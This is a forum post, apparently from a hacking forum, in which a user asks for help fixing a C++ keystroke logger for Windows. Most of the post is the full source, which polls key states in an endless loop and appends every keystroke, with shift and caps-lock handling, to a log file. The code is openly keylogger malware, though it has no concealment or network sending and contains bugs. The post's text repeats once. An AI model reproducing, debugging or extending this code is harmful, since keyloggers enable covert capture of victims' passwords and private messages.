Need help reading keyboard ( writing a keylogger) 07-07-2014, 08:10 PM
#1
Hey guys. I am trying to write a keylogger and addvancing my C++ knowledge at the same time.
The problem i have is that it seems like i cant read VK_OEM keys nad punctuation keys ( the ones that correspond to ,./;'[] in the keyboard). Other keys are read fine (numbers, letters, numpad). I think its not a writing to the file error because i can see the input that this program reads.
![[Image: dr34y.jpg]](http://imageshack.us/a/img834/4858/dr34y.jpg)
when i press those buttons it doesnt write correspondent codes in the console.
MY CODE :
I really hope somebody can help me.
edit : -=` buttons also dont work
The problem i have is that it seems like i cant read VK_OEM keys nad punctuation keys ( the ones that correspond to ,./;'[] in the keyboard). Other keys are read fine (numbers, letters, numpad). I think its not a writing to the file error because i can see the input that this program reads.
![[Image: dr34y.jpg]](http://imageshack.us/a/img834/4858/dr34y.jpg)
when i press those buttons it doesnt write correspondent codes in the console.
MY CODE :
Code:
#include <iostream>
#include <windows.h>
#include <winuser.h>
using namespace std;
int Save (int key_stroke, char *file);
int isCapsLock();
int main(){
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"Log_test.txt");
}
}
system ("PAUSE");
return 0;
}
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if ((key_stroke>=39)&&(key_stroke<=64)) // 0-9
{
if (GetAsyncKeyState(VK_SHIFT)) // 0-9 + shift
{
switch (key_stroke)
{
case 0x30:
fprintf(OUTPUT_FILE,"%s",(")"));
break;
case 0x31:
fprintf(OUTPUT_FILE,"%s",("!"));
break;
case 0x32:
fprintf(OUTPUT_FILE,"%s",("@"));
break;
case 0x33:
fprintf(OUTPUT_FILE,"%s",("#"));
break;
case 0x34:
fprintf(OUTPUT_FILE,"%s",("$"));
break;
case 0x35:
fprintf(OUTPUT_FILE,"%s",("%"));
break;
case 0x36:
fprintf(OUTPUT_FILE,"%s",("^"));
break;
case 0x37:
fprintf(OUTPUT_FILE,"%s",("&"));
break;
case 0x38:
fprintf(OUTPUT_FILE,"%s",("*"));
break;
case 0x39:
fprintf(OUTPUT_FILE,"%s",("("));
break;
}
}else{
fprintf(OUTPUT_FILE,"%c",key_stroke); // 0-9 w/o shift
}
}
else if ((key_stroke>64)&&(key_stroke<91)) // "A-Z"
{
if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())) // if not shift nor casps lock
{
key_stroke += 32; // transform to "a-z"
}
fprintf(OUTPUT_FILE,"%c",key_stroke);
}
else
{
switch (key_stroke) // check for other keys
{
case VK_SPACE:
fprintf(OUTPUT_FILE,"%s"," ");
break;
case VK_LCONTROL:
case VK_RCONTROL:
fprintf(OUTPUT_FILE,"%s","[CTRL]");
case VK_LMENU:
case VK_RMENU:
fprintf(OUTPUT_FILE,"%s","[ALT]");
break;
case VK_INSERT:
fprintf(OUTPUT_FILE,"%s","[Insert]");
break;
case VK_DELETE:
fprintf(OUTPUT_FILE,"%s","[DELETE]");
break;
// NUMPAD
case VK_NUMPAD0:
fprintf(OUTPUT_FILE,"%s","0");
break;
case VK_NUMPAD1:
fprintf(OUTPUT_FILE,"%s","1");
break;
case VK_NUMPAD2:
fprintf(OUTPUT_FILE,"%s","2");
break;
case VK_NUMPAD3:
fprintf(OUTPUT_FILE,"%s","3");
break;
case VK_NUMPAD4:
fprintf(OUTPUT_FILE,"%s","4");
break;
case VK_NUMPAD5:
fprintf(OUTPUT_FILE,"%s","5");
break;
case VK_NUMPAD6:
fprintf(OUTPUT_FILE,"%s","6");
break;
case VK_NUMPAD7:
fprintf(OUTPUT_FILE,"%s","7");
break;
case VK_NUMPAD8:
fprintf(OUTPUT_FILE,"%s","8");
break;
case VK_NUMPAD9:
fprintf(OUTPUT_FILE,"%s","9");
break;
// end of numpad
case 0xBA: // VK_OEM_1
if(GetAsyncKeyState(VK_SHIFT))
fprintf(OUTPUT_FILE,"%s", ":");
else
fprintf(OUTPUT_FILE,"%s", ";");
break;
case VK_OEM_2:
if(GetAsyncKeyState(VK_SHIFT))
fprintf(OUTPUT_FILE,"%s", "?");
else
fprintf(OUTPUT_FILE,"%s", "/");
break;
case VK_OEM_3:
if(GetAsyncKeyState(VK_SHIFT))
fprintf(OUTPUT_FILE,"%s", "~");
else
fprintf(OUTPUT_FILE,"%s", "`");
break;
case VK_OEM_4:
if(GetAsyncKeyState(VK_SHIFT))
fprintf(OUTPUT_FILE,"%s", "{");
else
fprintf(OUTPUT_FILE,"%s", "[");
break;
case VK_OEM_5:
if(GetAsyncKeyState(VK_SHIFT))
fprintf(OUTPUT_FILE,"%s", "|");
else
fprintf(OUTPUT_FILE,"%s", "\\");
break;
case VK_OEM_6:
if(GetAsyncKeyState(VK_SHIFT))
fprintf(OUTPUT_FILE,"%s", "}");
else
fprintf(OUTPUT_FILE,"%s", "]");
break;
case VK_OEM_7:
if(GetAsyncKeyState(VK_SHIFT))
fprintf(OUTPUT_FILE,"%s", "\"");
else
fprintf(OUTPUT_FILE,"%s", "\'");
break;
}
}
return 0;
}
int isCapsLock(){
if ((GetKeyState(VK_CAPITAL) & 0x0001) !=0 )
{
return 1;
}else{
return 0;
}
}I really hope somebody can help me.
edit : -=` buttons also dont work
(This post was last modified: 07-07-2014, 08:21 PM by zim018.)
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)